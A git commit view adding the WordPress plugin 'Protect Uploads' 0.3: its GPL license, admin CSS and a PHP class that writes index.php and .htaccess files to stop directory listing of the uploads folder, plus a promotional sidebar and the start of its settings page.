installed plugin Protect Uploads version 0.3

This commit is contained in:
150954cc22a2
2026-07-22 07:52:59 +00:00
committed by Gitium
parent 16c383dae3
commit 6fe9035625
24 changed files with 2187 additions and 0 deletions

View File

@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

View File

@ -0,0 +1,23 @@
.protect-uploads-error {
border: 2px solid #dc3232;
display: inline-block;
padding: 10px;
}
.protect-uploads-success {
border: 1px solid #46b450;
}
/* container left and right */
.protect-uploads .protect-uploads-main-container {
float: left;
width: 66%;
}
.protect-uploads .protect-uploads-sidebar {
float: left;
width: 31%;
margin-left: 2%;
}
.protect-uploads-disabled {
opacity: 0.75 !important;
}

View File

@ -0,0 +1,316 @@
<?php
class Alti_ProtectUploads_Admin
{
private $plugin_name;
private $version;
private $messages = array();
public function __construct($plugin_name, $version)
{
$this->plugin_name = $plugin_name;
$this->version = $version;
}
public function get_plugin_name()
{
return $this->plugin_name;
}
public function add_submenu_page()
{
add_submenu_page('upload.php', $this->plugin_name, 'Protect Uploads <span class="dashicons dashicons-shield-alt" style="font-size:15px;"></span>', 'manage_options', $this->plugin_name . '-settings-page', array($this, 'render_settings_page'));
}
public function render_settings_page()
{
require plugin_dir_path(__FILE__) . 'views/' . $this->plugin_name . '-admin-settings-page.php';
}
public function enqueue_styles()
{
wp_enqueue_style($this->plugin_name, plugin_dir_url(__FILE__) . 'assets/css/protect-uploads-admin.css', array(), $this->version, 'all');
}
public function add_settings_link($links)
{
$settings_link = '<a href="upload.php?page=' . $this->plugin_name . '-settings-page">' . __('Settings') . '</a>';
array_unshift($links, $settings_link);
return $links;
}
public function get_uploads_dir()
{
$uploads_dir = wp_upload_dir();
return $uploads_dir['basedir'];
}
public function get_uploads_url()
{
$uploads_dir = wp_upload_dir();
return $uploads_dir['baseurl'];
}
public function get_uploads_subdirectories()
{
$directories = scandir(self::get_uploads_dir());
$subs = array(self::get_uploads_dir());
foreach ($directories as $directory) {
if (is_dir(self::get_uploads_dir() . '/' . $directory) && !preg_match('/^\.*$/', $directory)) {
$subs[] = self::get_uploads_dir() . '/' . $directory;
$subDirectories = scandir(self::get_uploads_dir() . '/' . $directory);
foreach ($subDirectories as $subDirectory) {
if (is_dir(self::get_uploads_dir() . '/' . $directory . '/' . $subDirectory) && !preg_match('/^\.*$/', $subDirectory)) $subs[] = self::get_uploads_dir() . '/' . $directory . '/' . $subDirectory;
}
}
}
return $subs;
}
public function save_form($form)
{
if ($form['protection'] == 'index_php') {
$this->create_index();
}
if ($form['protection'] == 'htaccess') {
$this->create_htaccess();
}
if ($form['protection'] == 'remove') {
$this->remove_index();
$this->remove_htaccess();
}
}
// used to check if the current htaccess has been generated by the plugin
public function get_htaccess_identifier()
{
return "[plugin_name=" . $this->plugin_name . "]";
}
public function create_index()
{
// check if index php does not exists
if (self::check_protective_file('index.php') === false) {
$indexContent = "<?php // Silence is golden \n // " . self::get_htaccess_identifier() . " \n // https://www.alticreation.com/en/protect-uploads/ \n // date:" . date('d/m/Y') . "\n // .";
$i = 0;
foreach (self::get_uploads_subdirectories() as $subDirectory) {
if (!file_put_contents($subDirectory . '/' . 'index.php', $indexContent)) {
self::register_message('Impossible to create or modified the index.php file in ' . $subDirectory, 'error');
} else {
$i++;
}
}
if ($i == count(self::get_uploads_subdirectories())) {
self::register_message('The index.php file has been created in main folder and subfolders (two levels max).');
}
}
// if index php already exists
else {
self::register_message('The index.php file already exists', 'error');
}
}
public function create_htaccess()
{
// Content for htaccess file
$date = date('Y-m-d H:i.s');
$phpv = phpversion();
$htaccessContent = "\n# BEGIN " . $this->get_plugin_name() . " Plugin\n";
$htaccessContent .= "\tOptions -Indexes\n";
$htaccessContent .= "# [date={$date}] [php={$phpv}] " . self::get_htaccess_identifier() . " [version={$this->version}]\n";
$htaccessContent .= "# END " . $this->get_plugin_name() . " Plugin\n";
// if htaccess does NOT exist yet
if (self::check_protective_file('.htaccess') === false) {
// try to create and save the new htaccess file
if (!file_put_contents(self::get_uploads_dir() . '/' . '.htaccess', $htaccessContent)) {
self::register_message('Impossible to create or modified the htaccess file.', 'error');
} else {
self::register_message('The htaccess file has been created.');
}
}
else {
// if content added to existing htaccess
if (file_put_contents(self::get_uploads_dir() . '/.htaccess', $htaccessContent, FILE_APPEND | LOCK_EX)) {
self::register_message('The htaccess file has been updated.');
} else {
self::register_message('The existing htaccess file couldn\'t be updated. Please check file permissions.', 'error');
}
}
}
public function remove_index()
{
$i = 0;
foreach (self::get_uploads_subdirectories() as $subDirectory) {
if (file_exists($subDirectory . '/index.php')) {
unlink($subDirectory . '/index.php');
$i++;
}
}
if ($i == count(self::get_uploads_subdirectories())) {
self::register_message('The index.php file(s) have(has) been deleted.');
}
}
public function remove_htaccess()
{
if (file_exists(self::get_uploads_dir() . '/.htaccess')) {
$htaccessContent = file_get_contents(self::get_uploads_dir() . '/.htaccess');
$htaccessContent = preg_replace('/(# BEGIN protect-uploads Plugin)(.*?)(# END protect-uploads Plugin)/is', '', $htaccessContent);
file_put_contents(self::get_uploads_dir() . '/.htaccess', $htaccessContent, LOCK_EX);
// if htaccess is empty, we remove it.
if (strlen(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "", file_get_contents(self::get_uploads_dir() . '/.htaccess'))) == 0) {
unlink(self::get_uploads_dir() . '/.htaccess');
}
//
self::register_message('The htaccess file has been updated.');
}
}
public function get_protective_files_array()
{
$uploads_files = ['index.php', 'index.html', '.htaccess'];
$response = [];
foreach ($uploads_files as $file) {
if (file_exists(self::get_uploads_dir() . '/' . $file)) {
$response[] = $file;
}
}
return $response;
}
public function check_protective_file($file)
{
if (in_array($file, self::get_protective_files_array())) {
return true;
} else {
return false;
}
}
public function get_uploads_root_response_code()
{
$uploads_headers = get_headers(self::get_uploads_url() . '/');
$response = null;
if (is_array($uploads_headers)) {
if (preg_match('/200/', $uploads_headers[0])) $response = 200;
if (preg_match('/403/', $uploads_headers[0])) $response = 403;
}
return $response;
}
public function get_htaccess_content()
{
return file_get_contents(self::get_uploads_dir() . '/.htaccess');
}
public function check_htaccess_is_self_generated()
{
if (self::check_protective_file('.htaccess') && preg_match('/' . self::get_htaccess_identifier() . '/', self::get_htaccess_content())) {
return true;
} else {
return false;
}
}
// heart? <3
public function check_uploads_is_protected()
{
foreach (self::get_protective_files_array() as $file) {
if ($file === 'index.html') {
return true;
break;
}
if ($file === 'index.php') {
return true;
break;
}
if ($file === '.htaccess' && self::get_uploads_root_response_code() === 200) {
return false;
break;
}
}
if (self::get_uploads_root_response_code() === 403) {
return true;
}
else {
return false;
}
}
public function check_protective_file_removable() {
if( self::check_protective_file('index.html') ) {
return false;
}
elseif( self::check_protective_file('.htaccess') === false && self::get_uploads_root_response_code() === 403 ) {
return false;
}
else {
return true;
}
}
public function get_uploads_protection_message_array()
{
$response = [];
foreach (self::get_protective_files_array() as $file) {
if ($file === '.htaccess' && self::get_uploads_root_response_code() === 403) {
$response[] = '<span class="dashicons dashicons-yes"></span> ' . __('.htaccess file is present and access to uploads directory returns 403 code.', $this->plugin_name);
}
if ($file === 'index.php') {
$response[] = '<span class="dashicons dashicons-yes"></span> ' . __('index.php file is present.', $this->plugin_name);
}
if ($file === 'index.html') {
$response[] = '<span class="dashicons dashicons-yes"></span> ' . __('index.html file is present.', $this->plugin_name);
}
}
if (self::check_protective_file('.htaccess') === true && self::get_uploads_root_response_code() === 200) {
$response[] = '<span class="dashicons dashicons-search"></span> ' . __('.htaccess file is present but not protecting uploads directory.', $this->plugin_name);
}
if (self::check_protective_file('.htaccess') === false && self::get_uploads_root_response_code() === 403) {
$response[] = '<span class="dashicons dashicons-yes"></span> ' . __('Access to uploads directory is protected (403) with a global .htaccess or another global declaration.', $this->plugin_name);
}
return $response;
}
public function check_apache()
{
if (!function_exists('apache_get_modules')) {
self::register_message('The Protect Uploads plugin cannot work without Apache. Yourself or your web host has to activate this module.');
}
}
public function register_message($message, $type = 'updated', $id = 0)
{
$this->messages['apache'][] = array(
'message' => __($message, $this->plugin_name),
'type' => $type,
'id' => $id
);
}
public function display_messages()
{
foreach ($this->messages as $name => $messages) {
foreach ($messages as $message) {
return '<div id="message" class="' . $message['type'] . '"><p>' . $message['message'] . '</p></div>';
}
}
}
}

View File

@ -0,0 +1 @@
<?php // Silence is golden

View File

@ -0,0 +1,145 @@
<?php
$get_from = 'protect-uploads';
$paypal_svg = '
<svg xmlns="http://www.w3.org/2000/svg" width="124" height="33" viewBox="0 0 124 33"><path fill="#253B80" d="M46.21 6.75h-6.838c-.468 0-.866.34-.94.8L35.668 25.09c-.055.346.213.658.564.658h3.266c.468 0 .866-.34.94-.803l.745-4.73c.073-.463.472-.803.94-.803h2.164c4.505 0 7.105-2.18 7.784-6.5.306-1.89.013-3.375-.872-4.415C50.224 7.353 48.5 6.75 46.21 6.75zm.79 6.404c-.374 2.454-2.25 2.454-4.062 2.454h-1.032l.724-4.583c.043-.277.283-.48.563-.48h.473c1.235 0 2.4 0 3.002.703.36.42.47 1.044.332 1.906zM66.654 13.075H63.38c-.28 0-.52.204-.564.48l-.145.917-.228-.332c-.71-1.03-2.29-1.373-3.868-1.373-3.62 0-6.71 2.74-7.312 6.586-.313 1.918.132 3.752 1.22 5.03.998 1.177 2.426 1.667 4.125 1.667 2.916 0 4.533-1.875 4.533-1.875l-.146.91c-.055.348.213.66.562.66h2.95c.47 0 .865-.34.94-.803l1.77-11.21c.055-.344-.212-.657-.562-.657zM62.09 19.45c-.317 1.87-1.802 3.126-3.696 3.126-.95 0-1.71-.305-2.2-.883-.483-.574-.667-1.39-.513-2.3.296-1.856 1.806-3.153 3.67-3.153.93 0 1.687.31 2.185.892.5.59.697 1.41.554 2.317zM84.096 13.075h-3.29c-.315 0-.61.156-.788.417l-4.54 6.686-1.923-6.425c-.12-.402-.492-.678-.912-.678H69.41c-.394 0-.667.384-.542.754l3.625 10.637-3.408 4.81c-.268.38.002.9.465.9h3.287c.312 0 .604-.15.78-.407l10.947-15.8c.262-.378-.007-.895-.468-.895z"/><path fill="#179BD7" d="M94.992 6.75h-6.84c-.467 0-.865.34-.938.8L84.448 25.09c-.055.346.213.658.562.658h3.51c.326 0 .605-.238.656-.562l.785-4.97c.073-.464.472-.804.94-.804h2.163c4.506 0 7.105-2.18 7.785-6.5.307-1.89.012-3.375-.873-4.415-.97-1.142-2.694-1.746-4.983-1.746zm.79 6.404c-.374 2.454-2.25 2.454-4.063 2.454h-1.032l.725-4.583c.043-.277.28-.48.562-.48h.473c1.234 0 2.4 0 3.002.703.36.42.468 1.044.33 1.906zM115.434 13.075h-3.273c-.28 0-.52.204-.56.48l-.146.917-.23-.332c-.71-1.03-2.29-1.373-3.867-1.373-3.62 0-6.71 2.74-7.31 6.586-.313 1.918.13 3.752 1.218 5.03 1 1.177 2.426 1.667 4.125 1.667 2.916 0 4.533-1.875 4.533-1.875l-.146.91c-.055.348.213.66.564.66h2.95c.467 0 .865-.34.938-.803l1.77-11.21c.055-.344-.213-.657-.564-.657zm-4.565 6.374c-.315 1.87-1.802 3.126-3.696 3.126-.95 0-1.71-.305-2.2-.883-.483-.574-.665-1.39-.513-2.3.298-1.856 1.806-3.153 3.67-3.153.93 0 1.687.31 2.185.892.5.59.7 1.41.554 2.317zM119.295 7.23l-2.807 17.858c-.055.346.213.658.562.658h2.822c.47 0 .867-.34.94-.803l2.767-17.536c.054-.346-.214-.66-.563-.66h-3.16c-.28.002-.52.206-.562.483z"/><path fill="#253B80" d="M7.266 29.154l.523-3.322-1.166-.027H1.06L4.928 1.292c.012-.074.05-.143.108-.192.057-.05.13-.076.206-.076h9.38c3.115 0 5.264.648 6.386 1.927.526.6.86 1.228 1.023 1.918.17.724.172 1.59.006 2.644l-.012.077v.675l.526.298c.443.235.795.504 1.065.812.45.513.74 1.165.864 1.938.126.795.084 1.74-.124 2.812-.24 1.232-.628 2.305-1.152 3.183-.482.81-1.096 1.48-1.825 2-.697.494-1.524.87-2.46 1.11-.905.235-1.938.354-3.07.354h-.73c-.523 0-1.03.188-1.428.525-.4.344-.663.814-.744 1.328l-.055.3-.924 5.854-.043.214c-.01.068-.03.102-.058.125-.026.02-.062.034-.097.034H7.266z"/><path fill="#179BD7" d="M23.048 7.667c-.028.18-.06.362-.096.55-1.237 6.35-5.47 8.545-10.874 8.545H9.326c-.66 0-1.218.48-1.32 1.132l-1.41 8.936-.4 2.533c-.066.428.264.814.696.814h4.88c.58 0 1.07-.42 1.16-.99l.05-.248.918-5.833.06-.32c.09-.572.58-.992 1.16-.992h.73c4.728 0 8.43-1.92 9.512-7.476.452-2.322.218-4.26-.978-5.623-.362-.41-.81-.752-1.336-1.03z"/><path fill="#222D65" d="M21.754 7.15c-.19-.054-.384-.104-.584-.15-.2-.043-.407-.082-.62-.116-.74-.12-1.554-.177-2.425-.177h-7.352c-.18 0-.353.04-.507.115-.34.163-.59.484-.652.877L8.05 17.604l-.045.29c.103-.653.66-1.133 1.32-1.133h2.753c5.405 0 9.637-2.195 10.874-8.545.037-.188.068-.37.096-.55-.313-.166-.652-.308-1.017-.43-.09-.03-.182-.058-.276-.086z"/><path fill="#253B80" d="M9.614 7.7c.06-.394.313-.715.652-.877.155-.074.326-.115.507-.115h7.352c.87 0 1.684.057 2.426.177.213.034.42.073.62.117.2.045.395.095.584.15.094.028.187.057.278.086.365.12.704.264 1.017.43.367-2.348-.004-3.946-1.273-5.393C20.377.682 17.853 0 14.622 0h-9.38c-.66 0-1.223.48-1.325 1.133L.01 25.898c-.077.49.3.932.795.932h5.79l1.455-9.225L9.614 7.7z"/></svg>
';
?>
<style>
.alti_promote_widget {
background-color: #fff;
padding: 10px;
margin: 15px 0;
border: 1px solid #E5E5E5;
position: relative;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
overflow: hidden;
}
.alti_promote_widget .dashicons {
color: #238ECB !important;
}
.alti_promote_plugin {
margin: 5px 0 5px -5px;
clear: both;
overflow: hidden;
font-size: 14px;
}
.alti_promote_plugin a {
position: relative;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
float: left;
display: block;
margin-right: 5px;
width: 100%;
text-decoration: none;
border: 5px solid transparent;
}
.alti_promote_plugin a:hover {
background-color: #eee;
border: 5px solid #eee;
}
.alti_promote_plugin img {
width: 50px;
height: 50px;
margin-right: 10px;
display: block;
float: left;
}
.alti_promote_plugin .alti_promote_copy {
color: #555;
}
.alti_promote_plugin .alti_promote_copy strong {
display: block;
color: #333;
}
.alti_promote_title {
font-size: 1.2em;
font-weight: bold;
color: #222;
margin-bottom: 12.5px;
}
.alti_promote_title span:before {
color: #222;
}
.alti_promote_btn {
background: rgba(35, 142, 203, 0.3);
display: inline-block;
padding: 2.5px 5px;
border-radius: 2.5px;
text-decoration: none;
color: #333;
}
.alti_promote_paypal {
color: #021E73;
font-weight: bold;
text-shadow: 2px 2px 0 #1189D6;
display: inline-block;
background-color: #fff;
padding: 0 5px;
border-radius: 15px;
font-size: 1.2em;
line-height: 1.3em;
font-family: sans-serif;
border: 1px solid #ccc;
}
.alti_promote_paypal_svg svg {
height: 15px;
width: 65px;
vertical-align: middle;
}
</style>
<div class="alti-watermark-sidebar">
<div class="alti_promote_widget">
<div class="alti_promote_title">Like this plugin?</div>
<p><a target="_blank" class="alti_promote_btn" href="https://wordpress.org/support/view/plugin-reviews/<?php echo $get_from; ?>?rate=5#postform"><strong>Rate it</strong></a> to show your support!</p>
<p><a target="_blank" class="alti_promote_btn" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=9S74KTRCZCLRE&item_name=<?php echo $get_from; ?>&no_note=0&no_shipping=1&currency_code=USD"><strong>Donate</strong> <span class="alti_promote_paypal_svg"><?php echo $paypal_svg; ?></span></a> to encourage me updating this plugin!</p>
</div>
<div class="alti_promote_widget">
<div class="alti_promote_title">Discover more useful plugins</div>
<?php $related_plugins = array(
array(
'protect-uploads',
'Protect Uploads',
'Helps you protect your uploads folder.'
),
array(
'alti-watermark',
'Watermark',
'Add watermark on your images.'
),
array(
'altibox',
'Altibox',
'Add a minimalist lightbox viewer.'
),
); ?>
<?php foreach ($related_plugins as $related_plugin): ?>
<?php if( $related_plugin[0] != $get_from ) { ?>
<div class="alti_promote_plugin">
<a href="plugin-install.php?tab=search&type=term&s=<?php echo urlencode($related_plugin[0]); ?>" title="<?php echo $related_plugin[1]; ?>"><img src="https://plugins.svn.wordpress.org/<?php echo $related_plugin[0]; ?>/assets/icon-128x128.png" alt="<?php echo $related_plugin[1]; ?>">
<div class="alti_promote_copy">
<strong><?php echo $related_plugin[1]; ?></strong>
<?php echo $related_plugin[2]; ?>
</div>
</a>
</div>
<?php } ?>
<?php endforeach ?>
</div>
<div class="alti_promote_widget">
<div class="alti_promote_title">Developed by</div>
<a href="https://www.alticreation.com?utm_source=wp_plugin&utm_medium=logo_sidebar&utm_campaign=<?php echo $get_from; ?>"><img src="http://alticreation.com/logos/alticreation_color_01.png" alt="alticreation"></a>
</div>
</div>

View File

@ -0,0 +1,126 @@
<div class="wrap <?php echo $this->plugin_name ?>">
<?php
$plugin = new Alti_ProtectUploads_Admin($this->plugin_name, $this->version);
if (isset($_POST['submit']) && isset($_POST['protection']) && check_admin_referer('submit_form', 'protect-uploads' . '_nonce')) {
$plugin->save_form($_POST);
}
echo $plugin->display_messages();
?>
<h1>Protect Uploads</h1>
<div class="protect-uploads-main-container">
<form method="POST" enctype="multipart/form-data">
<?php wp_nonce_field('submit_form', 'protect-uploads' . '_nonce'); ?>
<table class="form-table">
<tbody>
<tr>
<th scope="row">
<label for=""><?php _e('Status', $this->plugin_name); ?></label>
</th>
<td>
<fieldset>
<p>
<strong>
<?php if ($this->check_uploads_is_protected() === true) { ?>
<span class="dashicons dashicons-yes-alt" style="color:#46b450"></span> <?php _e('Uploads directory is protected.', $this->plugin_name); ?>
<?php } else { ?>
<span style="color:#dc3232" class="dashicons dashicons-dismiss"></span> <?php _e('Uploads directory is not protected!', $this->plugin_name); ?>
<?php } ?>
</strong>
</p>
<p>
<?php
$file_messages = $this->get_uploads_protection_message_array();
foreach ($file_messages as $file_message) {
?>
<?php echo $file_message; ?> <br />
<?php
} ?>
</p>
</fieldset>
</td>
</tr>
<tr>
<th scope="row">
<label for="size"><?php _e('Protection', $this->plugin_name); ?></label>
</th>
<td>
<fieldset>
<legend class="screen-reader-text">
<span><?php _e('Protection', $this->plugin_name); ?></span>
</legend>
